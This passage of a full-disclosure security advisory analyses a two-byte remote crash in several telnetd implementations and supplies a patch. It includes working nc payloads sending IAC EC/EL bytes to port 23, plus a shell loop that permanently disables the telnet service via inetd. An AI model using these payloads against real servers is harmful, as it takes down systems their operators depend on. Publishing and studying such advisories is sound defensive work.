diff -r krb5-appl/telnet/telnetd/telnetd.c krb5-appl.patched/telnet/telnetd/telnetd.c
1005c1005
<           char *getstr();
---
>           char *Getstr();
1008,1010c1008,1010
<           HE = getstr("he", &cp);
<           HN = getstr("hn", &cp);
<           IM = getstr("im", &cp);
---
>           HE = Getstr("he", &cp);
>           HN = Getstr("hn", &cp);
>           IM = Getstr("im", &cp);
diff -r krb5-appl/telnet/telnetd/telnetd.h krb5-appl.patched/telnet/telnetd/telnetd.h
49a50,52
> #define TELOPT_ENVIRON 36
> #define ENV_VALUE 0
> #define ENV_VAR 1
myname#
```

Compiling and installing this telnetd program:

```
myname# make -f Makefile.4.4
Warning: Object directory not changed from original /usr/home/test/krb5-appl.patched/telnet/teln
etd
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c authenc.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c global.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c slc.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c state.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c sys_term.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c telnetd.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c termstat.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib   -c utility.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.pa
tched/telnet/telnetd/../../lib    -o telnetd authenc.o global.o slc.o state.o sys_term.o telnet
d.o termstat.o utility.o  -lutil -ltermcap -ltelnet -lkrb -ldes
gzip -cn telnetd.0 > telnetd.0.gz
myname# cp telnetd /usr/libexec/telnetd && chmod 555 /usr/libexec/telnetd
```

And we can confirm this version is vulnerable.

```
kali% printf "\xff\xf7" | nc -n -v 192.168.1.201 23
(UNKNOWN) [192.168.1.201] 23 (telnet) open
<BF><C3><BD><C3><BF><C3><BD><C3><BF><C3><BD>
kali%
```

Using `dmesg`, we can see the crashes of telnetd on the remote FreeBSD 3.2 server:

```
myname# dmesg | grep telnet
pid 497 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 499 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 500 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 501 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 502 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 503 (telnetd), uid 0: exited on signal 11 (core dumped)
```

We also provide a working patch for Telnetd, Kerberos Version 5 Applications - `initial version`. This patch has been tested with FreeBSD 3.2/i386.

Please note that we suggest not to use FreeBSD 3.2 or the 30-year old version of the Kerberos Version 5 Applications.

```
myname# diff -u -p krb5-appl/telnet/telnetd/state.c krb5-appl.patched/telnet/telnetd/state.c
--- krb5-appl/telnet/telnetd/state.c        Sun Aug 21 09:00:34 2022
+++ krb5-appl.patched/telnet/telnetd/state.c        Mon Aug 21 09:02:56 2022
@@ -208,16 +208,22 @@ gotiac:                      switch (c) {
                    case EC:
                    case EL:
                        {
-                           cc_t ch;
+                           cc_t ch = (cc_t)_POSIX_VDISABLE;

                            DIAG(TD_OPTIONS,
                                    printoption("td: recv IAC", c));
                            ptyflush();     /* half-hearted */
                            init_termbuf();
                            if (c == EC)
-                                   ch = *slctab[SLC_EC].sptr;
+                           {
+                                   if (slctab[SLC_EC].sptr)
+                                           ch = *slctab[SLC_EC].sptr;
+                           }
                            else
-                                   ch = *slctab[SLC_EL].sptr;
+                           {
+                                   if (slctab[SLC_EL].sptr)
+                                           ch = *slctab[SLC_EL].sptr;
+                           }
                            if (ch != (cc_t)(_POSIX_VDISABLE))
                                    *pfrontp++ = (unsigned char)ch;
                            break;
```

Analysis of the "normal" execution path

In this section, we used the sources found in FreeBSD 13.1 but the root cause is similar with any previously listed `telnetd`.

When reviewing the code, the "normal" execution flow to correctly initialize the `slctab[31]` array is:

```
main() -> doit() -> telnet() -> get_slc_defaults()
```

In the `telnet()` function, there is a call to `get_slc_defaults()` on line 747:

```
723 /*
724  * Main loop.  Select from pty and network, and
725  * hand data to telnet receiver finite state machine.
726  */
727 void
728 telnet(int f, int p, char *host)
729 {
...
743
744         /*
745          * Initialize the slc mapping table.
746          */
747         get_slc_defaults();
...
797         while (his_will_wont_is_changing(TELOPT_NAWS))
798                 ttloop();
...
811         if (his_want_state_is_will(TELOPT_ECHO) &&
812             his_state_is_will(TELOPT_NAWS)) {
813                 while (his_will_wont_is_changing(TELOPT_ECHO))
814                         ttloop();
```

After `get_slc_defaults()`, there are multiple calls to the `ttloop()` function (lines 798 and 814). This is the normal behavior.

The function `get_slc_defaults()` defined in `slc.c` is used to correctly initialize the `slctab[31]` array.

```
 99 /*
100  * get_slc_defaults
101  *
102  * Initialize the slc mapping table.
103  */
104 void
105 get_slc_defaults(void)
106 {
107         int i;
108
109         init_termbuf();
110
111         for (i = 1; i <= NSLC; i++) {
112                 slctab[i].defset.flag =
113                         spcset(i, &slctab[i].defset.val, &slctab[i].sptr);
114                 slctab[i].current.flag = SLC_NOSUPPORT;
115                 slctab[i].current.val = 0;
116         }
117
118 }  /* end of get_slc_defaults */
```

Interestingly, the initialization starts from 1.

`NSLC` is defined in `../arpa/telnet.h`:

```
216 #define NSLC            30
```

You can review the `spcset()` function here (https://github.com/freebsd/freebsd-src/blob/main/contrib/telnet/telnetd/sys_term.c#L285).

The `slctab` global variable, an array of 31 `slcfun` structures, is defined in the `ext.h` file:

```
     63 EXTERN slcfun   slctab[NSLC + 1];       /* slc mapping table */
```

And the `slcfun` structure is defined in the `defs.h` file:

```
 99 #if !defined(USE_TERMIO) || defined(NO_CC_T)
100 typedef unsigned char cc_t;
101 #endif
...
152 /*
153  * Structures of information for each special character function.
154  */
155 typedef struct {
156         unsigned char   flag;           /* the flags for this function */
157         cc_t            val;            /* the value of the special character */
158 } slcent, *Slcent;
159
160 typedef struct {
161         slcent          defset;         /* the default settings */
162         slcent          current;        /* the current settings */
163         cc_t            *sptr;          /* a pointer to the char in */
164                                         /* system data structures */
165 } slcfun, *Slcfun;
```

Because `slctab` is a global variable, all its fields are initialized to `0` by default.

Using `readelf`, we can confirm `slctab` is a global variable:

```
root@freebsd-13-1p1:~ # readelf -a /usr/libexec/telnetd
Symbol table (.symtab) contains 616 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
...
   187: 0000000000022730   496 OBJECT  GLOBAL DEFAULT   27 slctab
```

Root cause analysis of the crashes

When reviewing the code, the execution flow leading to segfaults is:

```
main() -> doit() -> getterminaltype() -> ttloop() -> telrcv() -> Access to *(slctab[10].sptr) or
*(slctab[11].sptr).
```

In the `doit()` function, there is a call to `getterminaltype()` on line 715 and then to `telnet()` on line 718:

```
    652 /*
    653  * Get a pty, scan input lines.
    654  */
    655 void
    656 doit(struct sockaddr *who)
    657 {
...
    715         level = getterminaltype(user_name);
...
    718         telnet(net, pty, remote_hostname);      /* begin server process */
```

Analyzing `getterminaltype()` reveals that there are multiple calls to the `ttloop()` function (on line 481 when compiled with `-DAUTHENTICATION` and on line 505 by default):

```
468 static int
469 getterminaltype(char *name undef2)
470 {
...
474 #ifdef  AUTHENTICATION
...
481             ttloop();
...
486 #endif
...
496     while (
497 #ifdef  ENCRYPTION
498            his_do_dont_is_changing(TELOPT_ENCRYPT) ||
499 #endif  /* ENCRYPTION */
500            his_will_wont_is_changing(TELOPT_TTYPE) ||
501            his_will_wont_is_changing(TELOPT_TSPEED) ||
502            his_will_wont_is_changing(TELOPT_XDISPLOC) ||
503            his_will_wont_is_changing(TELOPT_NEW_ENVIRON) ||
504            his_will_wont_is_changing(TELOPT_OLD_ENVIRON)) {
505         ttloop();
506     }
```

The `ttloop()` function will then call `telrcv()`:

```
66      void
67 ttloop()
68 {
...
69
74      ncc = read(net, netibuf, sizeof netibuf);
...
84      telrcv();                    /* state machine */
85      if (ncc > 0) {
86          pfrontp = pbackp = ptyobuf;
87          telrcv();
88      }
89 }  /* end of ttloop */
```

At this moment, the function `get_slc_defaults()` has still not been executed to correctly initialize the `slctab[31]` array. All the fields in the `slctab[31]` array are still set to `0`.

Then in the `telrcv()` function, when an attacker sends `\xff\xf7` or `\xff\xf8`, the code will try to access `*(slctab[10].sptr)` (`*(0)`) or `*(slctab[11].sptr)` (`*(0)`), we have null pointer dereferences!

MacOS

We also found the vulnerable function in MacOS source codes at https://opensource.apple.com/source/KerberosLibraries/KerberosLibraries-81.46.1/KerberosFramework/Kerberos5/Sources/appl/telnet/telnetd/state.c (https://opensource.apple.com/source/KerberosLibraries/KerberosLibraries-81.46.1/KerberosFramework/Kerberos5/Sources/appl/telnet/telnetd/state.c), but macOS does not appear to provide a telnetd binary so we can assume it is not affected.

```
 98         void
 99 telrcv()
100 {
101         register int c;
102         static int state = TS_DATA;
103 #if     defined(CRAY2) && defined(UNICOS5)
104         char *opfrontp = pfrontp;
105 #endif
...
107         while (ncc > 0) {
108                 if ((&ptyobuf[BUFSIZ] - pfrontp) < 1)
109                         break;
110                 c = *netip++ & 0377, ncc--;
...
115                 switch (state) {
...
125                 case TS_DATA:
126                         if (c == IAC) {
127                                 state = TS_IAC;
128                                 break;
129                         }
...
169                 case TS_IAC:
170 gotiac:                 switch (c) {
...
221                         /*
222                          * Erase Character and
223                          * Erase Line
224                          */
225                         case EC:
226                         case EL:
227                             {
228                                 cc_t ch;
229
230                                 DIAG(TD_OPTIONS,
231                                         printoption("td: recv IAC", c));
232                                 ptyflush();     /* half-hearted */
233                                 init_termbuf();
234                                 if (c == EC)
235                                         ch = *slctab[SLC_EC].sptr; // vuln
236                                 else
237                                         ch = *slctab[SLC_EL].sptr; // vuln
238                                 if (ch != (cc_t)(_POSIX_VDISABLE))
239                                         *pfrontp++ = (unsigned char)ch;
240                                 break;
241                             }
```

Conclusion

There is a vulnerable code path reachable from the network allowing an attacker to force the server using variables before they are correctly initialized, resulting in 2 null pointer dereferences.

From our tests, it was determined these 2 vulnerabilities affect:

- FreeBSD-telnetd
- NetBSD-telnetd

- inetutils-telnetd
- netkit-telnetd
- Telnetd in Kerberos Version 5 Applications - since the initial version (February 22, 1991 or 1/21/93)
- specific Palo Alto appliances (using netkit-telnetd)
- specific Cisco appliances (using netkit-telnetd)
- specific Brocade appliances (using netkit-telnetd)
- specific Arista appliances (using netkit-telnetd)
- ...

These vulnerabilities existed for =~ 30 years.

To check if a remote telnet server is vulnerable, it is possible to send 2 bytes over the network and check if the remote server closes the TCP connection.

A disconnection means the remote `telnetd` processus likely crashed.

Details - permanent Remote DoS

Since `telnetd` is started with `inetd` , a new `telnetd` process will be spawned for each new tcp connection.

So an attacker can crash 256 `telnetd` processes very quickly and then `inetd` will stop spawning new telnetd processes. This DoS takes 4 seconds on a recent machine. This test was done under FreeBSD:

```
kali% i=0; while true; do echo $i; printf "\xff\xf7" | nc -n -v 192.168.1.200 23 >/dev/null; i=
$((${i}+1));done
0
(UNKNOWN) [192.168.1.200] 23 (telnet) open
1
(UNKNOWN) [192.168.1.200] 23 (telnet) open
2
...
(UNKNOWN) [192.168.1.200] 23 (telnet) open
256
(UNKNOWN) [192.168.1.200] 23 (telnet) : Connection refused
257
(UNKNOWN) [192.168.1.200] 23 (telnet) : Connection refused
...
```

And in the logs, we can confirm the telnetd server will not be spawned anymore by inetd:

```
Aug 21 12:01:40 freebsd-13-1p1 inetd[6550]: telnet/tcp server failing (looping), service termina
ted
```

Vendor Response

Reaching and coordinating with all the vendors and software maintainers will take too much time and effort.

Full-disclosure is applied.

Recommendations

It is 2022. Do not use telnet. Seriously!

BGGP #3 Score

Rules of BGGP #3 are available at https://tmpout.sh/bggp/3/ (https://tmpout.sh/bggp/3/).

Calculation of the score:

```
  4096 pts
 -   2 pts (size of file or payload)
 +1024 pts, if you submit a writeup about your process and details about the crash
(+4096 pts, if you author a patch for your bug which is merged before the end of the competitio
n)
------
  9214 pts if patches are deployed.
```

There are other bonus that we cannot obtain with these vulnerabilities:

```
 +1024 pts, if the program counter is all 3's when the program crashes
 +2048 pts, if you hijack execution and print or return "3"
```

We cannot hijack the execution flow but we can print "3" for fun over the telnet connection.

We can use RFC 857 (telnet echo) with `IAC WILL ECHO` (`255 251 1`) or `IAC DO ECHO` (`255 253 1`) and then crash the remote server.

But we found a smaller payload by sending `255 251 3` (this will print "3") and then `255 247` (DoS):

```
kali% (printf "\xff\xfb3"; sleep 1; printf "\xff\xf7") | nc -v -n 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
<FF><FD>%<FF><FE>3
```

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec (https://twitter.com/PierreKimSec)) and Alexandre Torres (@AlexTorSec (https://twitter.com/AlexTorSec)).

References

https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html (https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html)

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39028 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39028)

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ (http://creativecommons.org/licenses/by-nc-sa/3.0/).

published on 2022-08-24 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>